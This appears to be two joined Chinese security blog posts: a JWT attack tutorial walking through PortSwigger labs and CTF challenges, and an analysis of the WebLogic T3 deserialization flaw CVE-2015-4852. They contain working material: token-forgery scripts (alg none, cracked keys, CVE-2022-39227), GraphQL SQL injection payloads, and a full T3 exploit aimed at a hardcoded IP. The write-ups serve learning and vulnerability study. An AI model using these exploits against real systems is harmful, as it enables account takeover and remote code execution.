这里的quan9i是普通用户,按理说的话它是无法访问到管理员的界面的,但由于这里的签名是没有验证的,当我们修改payload时,这个JWT仍然有效,所以我们修改payload如下 {  "iat": 1668871293,  "exp": 1668878493,  "nbf": 1668871293,  "sub": "admin", } 此时就垂直越权,变成了管理员用户,可以访问管理员的界面。 靶场演示 题目环境https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature题目描述 本实验使用基于 JWT 的机制来处理会话。由于实施缺陷,服务器不会验证它收到的任何 JWT 的签名。 题目要求 要解决实验室问题,请修改您的会话令牌以获取对管理面板的访问权限/admin,然后删除用户carlos。 题目条件 您可以使用以下凭据登录到您自己的帐户:wiener:peter 打开环境后发现Cookie中没什么东西,但想到题目给出了账号,那就先找登录点,发现有个My account 点击查看,发现是登录界面,将刚刚题目条件中所给的用户名和密码放入 此时查看cookie 具体内容为 eyJraWQiOiIxYmE5NjA0Ny0wNjBiLTQ0MTAtODg1NC01YWYxYTQ2ZTljYWEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTI5NzgxMH0.JMb3Ttl7WLoVrTfcEq03VIafh7zDMu5_nhMtPc3qnhgENSl1WbMAMFfeTa-v0jS69A13W-J3_ccslHu25OW_SRPAq2GuAUoFfEGtthnP-PaDWFN2_UIIcaeAx8rj8bNy65apX37EnTx-sPo274X 对第一个.后和第二个.之前的内容进行解码(此部分内容为有效载荷)得到 {"iss":"portswigger","sub":"wiener","exp":1669297810} 题目提示了这里不校验签名,所以我们修改payload如下 {"iss":"portswigger","sub":"administrator","exp":1669297810} 再对其进行Base64URL编码,替换掉原来的payload,此时就得到了新的JWT,将新的JWT放入session中,重新访问此界面,发现多了一个功能点 发现可以删除用户 任务完成。 空加密算法 这里需要先介绍一些利用的知识点 将signature置空。利用node的jsonwentoken库已知缺陷:当jwt的signature为null或undefined时,jsonwebtoken会采用algorithm为none进行验证 JWT支持使用空加密算法,可以在header中指定alg为none,此时只要把signature设置为空,提交到服务器,任何token都可以通过服务器的验证。 假设现有JWT(解码后的,无signature的)如下 {    "alg" : "Hs256",    "typ" : "jwt" } {    "user" : "quan9i" } 这里我们指定alg为None,修改Payload中的user为admin,如下所示 {    "alg" : "None",    "typ" : "jwt" } {    "user" : "admin" } 此时再进行Base64URL编码,就可以实现越权,得到管理员才可以访问的界面。 靶场演示 靶场环境https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification题目描述 本实验使用基于 JWT 的机制来处理会话。服务器未安全地配置为接受未签名的 JWT。 题目要求 要解决实验室问题,请修改您的会话令牌以获取对管理面板的访问权限/admin,然后删除用户carlos。 题目条件 您可以使用以下凭据登录到您自己的帐户:wiener:peter 进入环境后先去登录 得到JWT,题目提示了接受未签名的JWT,所以将第二个点后的内容直接删除,而后再对前面内容进行Base64解码 {"kid":"16adc077-c753-4bbe-a9df-46688c01ac46","alg":"RS256"}.{"iss":"portswigger","sub":"wiener","exp":1669304815}. 修改headers中的alg为none,修改payload中的sub为administrator,然后分别进行Base64URL编码,即可得到新的JWT,在网站中对JWT进行替换,接下来再次访问此网站,发现新功能点。 点进去发现有删除用户的功能 任务完成。 爆破密钥 这个的话其实就是使用工具来对密钥进行爆破,从而实现越权。这个的话在参考过其他师傅的文章后发现是有一些条件的,具体如下所示 1、JWT使用的加密算法是HS256加密算法 2、一段有效的、已签名的token 3、签名用的密钥不复杂(弱密钥) 然后这里还需要介绍一下爆破密钥用的工具,链接如下https://github.com/brendan-rius/c-jwt-cracker安装方式如下所示 1、git clone https://github.com/brendan-rius/c-jwt-cracker #下载 2、make #编译 使用方式如下 ./jwtcrack JWT 这是一个,还有一个爆破工具,可以引用字典,链接如下https://github.com/Sjord/jwtcrack安装方式如下所示 1、git clone https://github.com/Sjord/jwtcrack 2、pip install PyJWT tqdm 它的使用方式如下 python3 crackjwt.py JWT dictionary.txt //字典文件是自己写入的 靶场演示 题目描述 本实验使用基于 JWT 的机制来处理会话。它使用极弱的密钥来签署和验证令牌。这可以很容易地使用一个包含常见secret的单词表来暴力破解。 题目要求 要解决实验室问题,请首先暴力破解网站的密钥。获得此后,使用它签署修改后的会话令牌,使您可以访问管理面板/admin,然后删除用户carlos 题目条件 您可以使用以下凭据登录到您自己的帐户:wiener:peter 进入环境后,依旧是先登录获取当前JWT 因为题目已经提示了这里用的是暴力破解,所以我们用刚刚提到的工具,来爆破一下密钥 ./jwtcrack eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE 这里爆破多次均未得到密钥,所以我们选择换另一个工具,自己找个字典来进行爆破字典链接https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list接下来使用工具指定字典来进行爆破 python3 crackjwt.py  eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE dictionary.txt 得到密钥为secret1进入解码网站https://jwt.io,对jwt进行解码 修改payload中的sub为administrator,再在下方写入密钥secret1,生成新JWT 拿到网站中替换原JWT,发现新功能点 访问后发现可以删除用户 任务完成。 Kid参数注入 前文在简述Headers提到,它还有一个可选参数kid,当Headers中存在这个参数时,我们可以通过修改这个参数实现目录遍历、SQL注入等攻击 #目录遍历 {    "kid" : "/etc/passwd" } Kid参数的逻辑是类似于sql="select * from table where kid=$kid"这种,所以它是存在SQL注入漏洞的,示例如下 #sql注入 {    "kid" : "0 union select 123" } 此时它的Kid就被我们恶意篡改为123,此时就相当于拿到了Key,可以伪造JWT,实现越权。 靶场演示 靶场地址https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal题目描述 本实验使用基于 JWT 的机制来处理会话。为了验证签名,服务器使用JWTkid标头中的参数从其文件系统中获取相关密钥 题目要求 要解决实验室问题,请伪造一个 JWT,使您可以访问管理面板/admin,然后删除用户carlos。 题目条件 您可以使用以下凭据登录到您自己的帐户:wiener:peter 进入环境后,登录获取JWT安装插件 安装后选择New Symmetric Key,生成一个Key 接下来修改K参数为AA==,点击确认抓靶场的包 点击下面的sign 将此时的JWT去替换网站的JWT,再刷新网站 成功越权 简单说一下这里的原理:这里其实就是利用了kid的目录遍历攻击,我们将kid参数指向标准文件/dev/null,此时我们再利用bp的工具设置一个空的签名密钥,就实现了越权,成功得到管理员权限。 同时,这个Kid是Headers的一部分,Headers其实还有两个不常用的参数,即Jwk和Jku,这两个的话也是存在漏洞的,他们的攻击方式同Kid是较为相似的,所以这里不再去演示如何攻击。靶场环境如下,有兴趣的师傅可以看看。https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injectionhttps://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-inject JWT攻击实例 CVE-2022-39227 这个的话并没有给出具体的POC,但是官方在commit中最下方给出了测试代码https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9#diff-f3fb6499354e6fd16cb955d1f54138fa3481148f3f095467958b60b3835f3a50具体代码如下所示 """ Test claim forgery vulnerability fix """ from datetime import timedelta from json import loads, dumps from test.common import generated_keys from test import python_jwt as jwt from pyvows import Vows, expect from jwcrypto.common import base64url_decode, base64url_encode @Vows.batch class ForgedClaims(Vows.Context):    """ Check we get an error when payload is forged using mix of compact and JSON formats """    def topic(self):        """ Generate token """        payload = {'sub': 'alice'}        return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))    class PolyglotToken(Vows.Context):        """ Make a forged token """        def topic(self, topic):            """ Use mix of JSON and compact format to insert forged claims including long expiration """           [header, payload, signature] = topic.split('.')            parsed_payload = loads(base64url_decode(payload))            parsed_payload['sub'] = 'bob'            parsed_payload['exp'] = 2000000000            fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))            return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'        class Verify(Vows.Context):            """ Check the forged token fails to verify """            @Vows.capture_error            def topic(self, topic):                """ Verify the forged token """                return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])            def token_should_not_verify(self, r):                """ Check the token doesn't verify due to mixed format being detected """                expect(r).to_be_an_error()                expect(str(r)).to_equal('invalid JWT format') 重点在中间部分,也就是这里 def topic(self, topic):            """ Use mix of JSON and compact format to insert forged claims including long expiration """           [header, payload, signature] = topic.split('.')            parsed_payload = loads(base64url_decode(payload))            parsed_payload['sub'] = 'bob'            parsed_payload['exp'] = 2000000000            fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))            return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' 可以看到这里的话首先是对JWT进行了拆分,我们知道JWT的格式是xxx.yyy.zzz,这个以.来分离,那就是把三部分拆分开来,分别赋值给了header、payload和signature,接下来将进行了base64URL以及json解码的payload赋值给了parsed_payload,而后将新内容sub=bob以及exp=2000000000放入了parsed_payload中,将进行过Base64编码和json编码的parsed_payload赋值给了fake_payload,最终生成的JWT格式如下 {" header.fake_payload.":"","protected":"header", "payload":"payload","signature":"signature"} 此时就完成了JWT的伪造。 那么这个漏洞是如何产生的呢?接下来我们看一下源文件。查看python_jwt/__init__.py文件 首先看到 header, claims, _ = jwt.split('.'),它按.进行拆分,如何分别将三部分赋值给headers,claims以及_。接下来就是对头部进行解码,而后检验头部算法,后面也是校验属性的,接下来走到JWS这里 if pub_key: #验证是否传入密钥     token = JWS()     token.allowed_algs = allowed_algs     token.deserialize(jwt, pub_key) # 传入整个用户的JWT,JWS对JWT进行反序列化处理     parsed_claims = json_decode(token.payload) # JWS对传入部分进行json解码 跟进反序列化,看它是怎么做的 这里的话就是首先尝试对传入的JWT进行解析,我们知道这里传入的是完整的原始JWT,而非拆分后的某个部分,JWT的格式是xxx.yyy.zzz这种,而json能解析的是{"a":1,"b":2,"c":3,"d":4,"e":5}这种格式的,所以它无疑会走向except ValueError这里,然后它对值进行拆分,分别赋给protected、payload和signature,然后就将o赋值给了self.objects,这里的话还有一个verify(key,alg)函数,我们跟进一下 这里可以看到它其实是对JWT的各部分内容进行了一个检验,它这里检验的是原来的完整的JWT,所以这个肯定是没有问题的,这个验证肯定是可以通过的。 我们此时回到__init__.py 发现这里在校验过后,后面都没有再用到token这个,后面是对header和claims中的一些参数进行校验,然后将parsed_header和parsed_claims值返回了。这里就是问题所在, 在对整个JWT进行校验过后,没有返回校验过的数据,而是返回一开始进行点分过后的数据。 我们的恶意payload如下所示 此时拆分后他一直在校验的是后面的灰色部分,这部分是原始的JWT,校验肯定是可以通过的,而我们最终返回的数据是前面的forged_payload,所以无论前面怎么添加,怎么替换,校验都是可以通过的。此时你再去看官方给出的测试代码就可以理解它的思路了。 CTF实战 CTFshow系列 Web345 打开靶场,进入环境 看一下源代码 提示了admin界面,先记着。同时刚刚发现cookie含有JWT,放入网站https://jwt.io/中查看一下 加密方式为空加密,所以这里的话,我们base64解码一下,然后直接修改sub为admin,再进行base64编码,放入cookie中即可,接下来访问admin界面 web346 这里进入环境后,接下来进入靶场,看一下JWT,用解密网站解密一下 发现有了加密格式,然后这里存在一种漏洞就是可以把加密方式换成空加密来绕过,但是这个网站是不能直接修改的,我们这里可以借助python脚本实现,脚本如下所示 import time import jwt # payload token_dict={  "iss": "admin",  "iat": 1668871293,  "exp": 1668878493,  "nbf": 1668871293,  "sub": "admin",  "jti": "9892b9d99098ba229891bedcfa856b61" } # headers headers = {  "alg": "none",  "typ": "JWT" } jwt_token = jwt.encode(token_dict,  # payload, 有效载体 key='',                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)   algorithm="none",  # 指明签名算法方式, 默认也是HS256                       )  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str print(jwt_token) 注:这里安装jwt模块的时候,安装的模块是PyJWT模块,同时不要给脚本名字命名为jwt.py,否则运行脚本时就会发生报错。 接下来运行脚本 得到JWT eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2ODg3MTI5MywiZXhwIjoxNjY4ODc4NDkzLCJuYmYiOjE2Njg4NzEyOTMsInN1YiI6ImFkbWluIiwianRpIjoiOTg5MmI5ZDk5MDk4YmEyMjk4OTFiZWRjZmE4NTZiNjEifQ. 去靶场中替换一下,同时访问admin界面 Web347 提示弱口令,这里应该说的是密钥,先记着进入环境后找到JWT去对应网站解码 HS256加密方式,我们这里的话需要猜解一下密钥,然后修改才有效,既然提示了弱口令,那就可以试试123456这种,修改sub为admin,得到新JWT后去靶场中修改JWT,然后访问admin界面 Web348 题目提示爆破,这里就需要先介绍一个爆破工具了,链接如下https://github.com/brendan-rius/c-jwt-cracker安装方式也很简单 1、git clone https://github.com/brendan-rius/c-jwt-cracker #下载 2、make #编译 3、./jwtcrack JWT #使用 这里将靶场中的JWT放入其中 爆破出密钥为aaab,接下来方法就同上,在解码网站中,修改sub为admin,同时添加密钥为aaab,然后拿着得到的新JWT,去替换网站的JWT,再去访问admin界面即可。 Web349 题目给了一个附件,内容如下 /* GET home page. */ router.get('/', function(req, res, next) {  res.type('html');  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });  res.cookie('auth',token);  res.end('where is flag?');   }); router.post('/',function(req,res,next){ var flag="flag_here"; res.type('html'); var auth = req.cookies.auth; var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key jwt.verify(auth, cert, function(err, decoded) {  if(decoded.user==='admin'){ res.end(flag); }else{ res.end('you are not admin'); } }); }); 这里发现可以获取公钥和私钥,RSA是用私钥加密,公钥解密,那么我们这里有私钥了,就可以自己写内容,然后用私钥加密,接下来用公钥解密就是我们伪造的内容,所以接下来访问url /private.key获取私钥,然后写个小脚本即可 import jwt public = open('private.key', 'r').read() payload={"user":"admin"} print(jwt.encode(payload, key=public, algorithm='RS256')) 接下来替换JWT,然后post访问 web350 题目给了附件,在里面发现公钥 这里的话应该考察的就是算法修改攻击,然后我们这里修改算法为HS256,而后用公钥加密,脚本如下 const jwt = require('jsonwebtoken'); var fs = require('fs'); var privateKey = fs.readFileSync('public.key'); var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' }); console.log(token) 运行脚本需要安装jsonwebtoken库 得到JWT后替换一下,然后post发包即可获取flag [祥云杯2022]FunWeb 注:因为这道题没有复现环境了,所以我这里的部分图片是来源于网上,参考的是X1r0z大师傅的https://exp10it.cn/2022/10/2022-%E7%A5%A5%E4%BA%91%E6%9D%AF-web-writeup/#funweb%E5%A4%8D%E7%8E%B0 进入环境后是个注册界面,接下来随便注册账号后进行登录 发现上方是有两个功能点的 抓获取成绩包后发现这里提示no admin同时发现JWT,想到这里可能需要伪造JWT,JWT最近新出的漏洞是CVE-2022-39227。那么我们就可以尝试用这个漏洞来进行伪造JWT,伪造JWT脚本如下所示 from datetime import timedelta from json import loads, dumps from jwcrypto.common import base64url_decode, base64url_encode def topic(topic):    """ Use mix of JSON and compact format to insert forged claims including long expiration """   [header, payload, signature] = topic.split('.')#点分    parsed_payload = loads(base64url_decode(payload))#解码    parsed_payload['is_admin'] = 1#伪造    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))#编码    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'#生成恶意载荷 token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsn print(token) 接下来想到我们抓的包的文件名是graphql,而且还有POST参数,可能存在graphql注入。https://www.leavesongs.com/content/files/slides/%E6%94%BB%E5%87%BBGraphQL.pdf而后使用 getscoreusingnamehahaha方法查询表结构。 {"query": """{ getscoreusingnamehahaha(name: "null' union select group_concat(sql) FROM sqlite_master; --"){ score name } }"""} 返回结果如下 CREATE TABLE users(   ID INTEGER PRIMARY KEY,   NAME TEXT NOT NULL,     PASSWORD TEXT NOT NULL,   SCORE TEXT NOT Null   ) 因此可以用这个来查询admin用户成绩,构造最终payload如下。 import json from jwcrypto.common import base64url_decode, base64url_encode import httpx session = httpx.Client(base_url="http://xxx.com/") session.post("/signin", json={    "username": "test",    "password": "111"   } ) _ = session.cookies.get("token") [header, payload, signature] = _.split('.') parsed_payload = json.loads(base64url_decode(payload)) parsed_payload['is_admin'] = 1 fake_payload = base64url_encode((json.dumps(parsed_payload, separators=(',', ':')))) forged_jwt = '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' session.cookies.delete("token") session.cookies.set("token", forged_jwt) data = {"query": """{ getscoreusingnamehahaha(name: "null' union select password FROM users WHERE name='admin'; --"){ score name } }"""} response = session.post("/graphql", data=data) print(response.text) 得到密码后去登录即可得到flag [CISCN2019 华北赛区 Day1 Web2]ikun 进入后发现有登录和注册界面,常规操作先注册后登录 提示要买到lv6,下划后发现可以买等级 这里没有lv6,点击下一页看看仍然没有找到lv6,但发现参数是GET型传参 这意味着我们可以写个小脚本来查找lv6所在位置发现lv3对应的代码是lv3.png,那么lv6对应的就是lv6.png 脚本如下 import time import requests url = "http://8e197801-2f87-4e36-aee6-a2390b0f391e.node4.buuoj.cn:81/shop?page=" for i in range(1,300):    res = requests.get(url+str(i))    time.sleep(0.5)    if "lv6.png" in res.text:        print(i)        break 181页,找到后发现价格是天价,买不起 这里抓包看一下 发现可以修改折扣,把这个discount修改为0.00000000000001然后发包 跳转到了另一个界面但无权限访问再抓包 发现JWT,解码一下(解码网站https://jwt.io/) 我们这里想实现修改root为admin,需要有密钥,爆破密钥可以用工具c-jwt-cracker得到,链接如下https://github.com/brendan-rius/c-jwt-cracker破解后得到密钥为1Kun 抓包,将得到的值赋给JWT,再发包接下来就是读取源码,然后进行Python反序列化获取最终flag,这里不再演示。 后言 JWT的靶场有很多个,我这里也只是利用了CTFhub和portswig等来进行演示,还有一些靶场例如https://jwt-lab.herokuapp.com/challenges也是比较好的,但鉴于考察点相似,这里不再演示,有兴趣的师傅可以自行尝试。然后还有就是这里的CVE漏洞的分析我主要参考了我们战队lemon大师傅的讲解,大家也可以看一下哇,视频链接如下https://www.bilibili.com/video/BV15d4y1F7i3/?spm_id_from=333.337.search-card.all.click&vd_source=414113f33a1cd681c43e79
CVE-2015-4852 Weblogic T3 反序列化分析
0x01 前言 看到很多师傅的面经里面都有提到 Weblogic 这一个漏洞,最近正好有一些闲暇时间,可以看一看。 因为环境上总是有一些小问题,所以会在本地和云服务器切换着调试。 0x02 环境搭建 太坑了,我的建议是用本地搭建的方法,因为用 docker 搭建,会产生依赖包缺失的问题,本地搭建指南 https://www.penson.top/article/av40 这里环境安装用的是 奇安信 A-team 大哥提供的脚本,不得不说实在是太方便了!省去了很多环境搭建中不必要的麻烦 链接:https://github.com/QAX-A-Team/WeblogicEnvironment 下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中 JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html 我这里直接用的 kali 搭建,需要先把 jdk 和 weblogic 放到文件夹里面,如图 首先要先改写一下 Dockerfile,原作者写的 Dockerfile 有一点小问题 # 基础镜像 FROM centos:centos7 # 参数 ARG JDK_PKG ARG WEBLOGIC_JAR # 解决libnsl包丢失的问题 # RUN yum -y install libnsl # 创建用户 RUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle # 创建需要的文件夹和环境变量 RUN mkdir -p /install && mkdir -p /scripts ENV JDK_PKG=$JDK_PKG ENV WEBLOGIC_JAR=$WEBLOGIC_JAR # 复制脚本 COPY scripts/jdk_install.sh /scripts/jdk_install.sh COPY scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh COPY scripts/weblogic_install11g.sh /scripts/weblogic_install11g.sh COPY scripts/weblogic_install12c.sh /scripts/weblogic_install12c.sh COPY scripts/create_domain11g.sh /scripts/create_domain11g.sh COPY scripts/create_domain12c.sh /scripts/create_domain12c.sh COPY scripts/open_debug_mode.sh /scripts/open_debug_mode.sh COPY jdks/$JDK_PKG . COPY weblogics/$WEBLOGIC_JAR . # 判断jdk是包(bin/tar.gz)weblogic包(11g/12c)载入对应脚本 RUN if [ $JDK_PKG == *.bin ] ; then echo ****载入JDK bin安装脚本**** && cp /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****载入JDK tar.gz安装脚本**** ; fi RUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****载入11g安装脚本**** && cp /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****载入12c安装脚本**** && cp /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp /scr # 脚本设置权限及运行 RUN chmod +x /scripts/jdk_install.sh RUN chmod +x /scripts/weblogic_install.sh RUN chmod +x /scripts/create_domain.sh RUN chmod +x /scripts/open_debug_mode.sh # 安装JDK RUN /scripts/jdk_install.sh # 安装weblogic RUN /scripts/weblogic_install.sh # 创建Weblogic Domain RUN /scripts/create_domain.sh # 打开Debug模式 RUN /scripts/open_debug_mode.sh # 启动 Weblogic Server # CMD ["tail","-f","/dev/null"] CMD ["/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"] EXPOSE 7001 接着起环境 docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 . docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21 再把 docker 当中的一些依赖文件夹拷出来,但是这一步经过我测试,感觉 docker 当中的 lib 存在一定问题,所以后续把 weblogic 的库拿进来就可以了,对应的代码我会放在 GitHub 上,避免师傅们踩坑。 0x03 基础知识 关于 Weblogic 首先说一说 Weblogic 吧,Weblogic 就和 Tomcat 差不多,从功能上来说就是两个 Web 服务端,也是启动器。 和 Tomcat 不同的地方在于,Weblogic 可以自己部署很多东西,要知道,在 Tomcat 当中,这些都是需要自己写代码的。 T3 协议 T3 协议其实是 Weblogic 内独有的一个协议,在 Weblogic 中对 RMI 传输就是使用的 T3 协议。在 RMI 传输当中,被传输的是一串序列化的数据,在这串数据被接收后,执行反序列化的操作。 在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容。 我们可以拿 CVE-2015-4852 的 EXP 来讲解 EXP 如下 import socket import sys import struct import re import subprocess import binascii def get_payload1(gadget, command):    JAR_FILE = '.\ysoserial.jar'    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)    return popen.stdout.read() def get_payload2(path):    with open(path, "rb") as f:        return f.read() def exp(host, port, payload):    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    sock.connect((host, port))    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()    sock.sendall(handshake)    data = sock.recv(1024)    pattern = re.compile(r"HELO:(.*).false")    version = re.findall(pattern, data.decode())    if len(version) == 0:        print("Not Weblogic")        return    print("Weblogic {}".format(version[0]))    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志    payload = data_len + t3header + flag + payload    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度    sock.send(payload) if __name__ == "__main__":    host = "81.68.120.14"    port = 7001    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21    command = "Calc"    payload = get_payload1(gadget, command)    exp(host, port, payload) 这里有一个小坑,我直接运行 py 程序是不行的,会回显 Not Weblogic,因为 python socket 如果是频繁发包,会被服务端所拒绝,所以需要以 debug 模式运行。当然如果增添 sleep 应该也是可以实现的。 Weblogic 请求包头 我们需要通过 Wireshark 对这一个流量包执行抓包操作,后续抓到包的请求头如图 这一个就是它请求包的头 t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001 在发送该请求包头后,服务端 Weblogic 会有一个响应,内容如下 HELO:10.3.6.0.false AS:2048 HL:19 HELO 后面的内容则是被攻击方的 Weblogic 版本号,也就是说,在发送正确的请求包头后,服务端会进行一个返回 Weblogic 的版本号。 Weblogic 请求主体 请求主体,也就是发送的数据,这些数据分为七部分内容,此处借用 z_zz_zzz师傅的http://drops.xmd5.com/static/drops/web-13470.html文章中的一张图 第一个非 Java 序列化数据,也就是我们的请求头:t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001 后面第 n 部分的数据,其实是不限制的,也就是说,我可以只有一部分的 Java 序列化数据,也可以有七部分的 Java 序列化数据,这并不重要,我们可以看观察一下 Wireshark 抓的包 在 ac ed 00 05 之后的内容便是序列化的数据,所以如果我们要进行攻击,应该是对于这一串序列化的数据进行恶意构造,让服务端在反序列化的时候发起攻击。 而此处,如果有多个 Java 序列化的数据,可以对任一一个数据进行攻击即可。 0x04 漏洞分析与调试 寻找尾部漏洞点 毕竟是反序列化的漏洞,思考了一下从两个点入手。 1、是否存在 Jndi 注入2、是否有能够命令执行的利用点 Jndi 注入的链尾探索 怀着这样的思路,先全局搜索 Jndi 关键词,感觉我这样的做法应该很不精准,但是暂时找不到其他好的方法,应该是要借助一些插件或者工具什么的了。 这里有一个 JndiServiceImpl 类,看着不错,点进去看看,它的 invoke() 方法同样吸引人,点过去之后发现疑似存在 jndi 注入 不过这里虽然参数 ———— this.implJndiName 是可控的,但是无法进行攻击,因为只能对 java:comp/env/ 进行探测,无法对 rmi, jndi, ldap 三者进行有效的调用,初步告吹了。 重新换一个类,这里我找到的是 JndiAttrs 类,在它的构造函数中存在调用 ldap 的现象,在第 40 行 从第六个字符开始截取,存在一些绕过手法,这个并不要紧,而 providerURL 最后会被 put 进 env 当中,env 是一个 Properties 类 继续往下分析,env 作为 InitialDirContext 类的构造函数的传参。 一路跟进,是到了 InitialContext 的构造函数,跟进 init() 方法 跟进 getDefaultInitCtx() 方法,再跟进 NamingManager.getInitialContext(myProps),发现只是 loadClass 了一个对象,寄,白给。 诸如此类链尾的尝试还有很多,师傅们可以自行尝试,我这只是在抛砖引玉。由于篇幅限制,后续内容我们还是集中于 Weblogic CVE-2015-4852 的漏洞分析。 漏洞分析 通过命令 ls -r ./* | grep -i commons,抑或是通过 maven dependency analyze,都可以分析得到 weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包。 所以我们现在已经有了链尾,需要寻找一个合适的入口类,这里就直接借用其他师傅们的研究成果了,反序列化的入口类是在 InboundMsgAbbrev#readObject 处,下个断点开始调试。 Weblogic T3 对于 RMI 传递过来的数据在处理上还是比较绕的,不过有了前面 z_zz_zzz 师傅文章中的那张图,在理解上能够变得简单得多。 开始调试 先跟进 ServerChannelInputStream 的构造函数,ServerChannelInputStream 这个类的作用是处理服务端收到的请求头信息 继续跟进 getServerChannel() 方法 我们可以关注一下目前的 this.connection 是什么 connection 是 weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302 这个类,在 this.connection 中主要存储了一些 RMI 连接的数据,包括端口地址等 跟进 getChannel() 方法,开始处理 T3 协议 T3 头处理结束,重新回到 InboundMsgAbbrev#readObject 处,跟进 readObject() 方法 一路跟进至 InboundMsgAbbrev#resolveClass() 中,这里的调用栈如下 resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm) readNonProxyDesc:1610, ObjectInputStream (java.io) readClassDesc:1515, ObjectInputStream (java.io) readOrdinaryObject:1769, ObjectInputStream (java.io) readObject0:1348, ObjectInputStream (java.io) readObject:370, ObjectInputStream (java.io) readObject:66, InboundMsgAbbrev (weblogic.rjvm) read:38, InboundMsgAbbrev (weblogic.rjvm) resolveClass() 方法是用来处理类的,这些类在经过反序列化之后会走到 resolveClass() 方法这里,此时的 var1,正是我们的 AnnotationInvocationHandler 类 这时候的 AnnotationInvocationHandler 类并不会被直接拿去反序列化,因为 Weblogic 服务端需要先加载所有反序列化的内容。在将所有数据反序列化解析完毕之后(也可以说只是做了 Class.forName() 的操作之后),才会开始进行真正的反序列化 后续就是熟悉的 CC1 链环节,这里不再展开 PoC 理解 PoC 本质就是把 ysoserial 生成的 payload 变成 T3 协议里的数据格式,我们需要写入的有几段东西。 1、Header,这代表了数据包长度2、T3 